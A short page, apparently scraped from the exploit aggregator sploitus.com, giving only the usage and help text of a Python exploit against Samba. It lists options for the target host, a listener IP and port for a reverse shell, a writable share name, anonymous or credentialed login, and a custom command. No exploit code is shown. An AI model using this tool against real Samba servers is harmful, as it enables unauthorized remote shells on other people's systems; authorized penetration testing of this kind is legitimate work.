Share
## https://sploitus.com/exploit?id=F2E78F8B-FFD9-57F2-B246-315C95294897
### `Usage`:
##### For anonymos login:
`python3 exploit.py --lhost  --lport  -t  -N (it is for anonymous login)`
##### Login via credentials:
`python3 exploit.py --lhost  --lport  -t  -u  -p `

```Rest of the explaination:
[!] Error: the following arguments are required: -s/--sharename
[*] Note: if user is anonymous and no password, then just add -N without -u or -p

##### Usage:
exploit.py [-h] -t TARGET -Lh LHOST -Lp LPORT -s SHARENAME [-c CMD] (-N | -u USERNAME) [-p PASSWORD]
options:
-h, --help            show this help message and exit
-t, --target TARGET   target Samba host/IP (rhost)
-Lh, --lhost LHOST    your listener IP (e.g. tun0)
-Lp, --lport LPORT    your listener port
-s, --sharename SHARENAME (Writable SMB share / printer name)
-c, --cmd CMD         run a specific shell command instead of a reverse shell
-N, --no-pass         Anonymous / guest login
-u, --username USERNAME (Username for authentication)
-p, --password PASSWORD (Password for authentication)```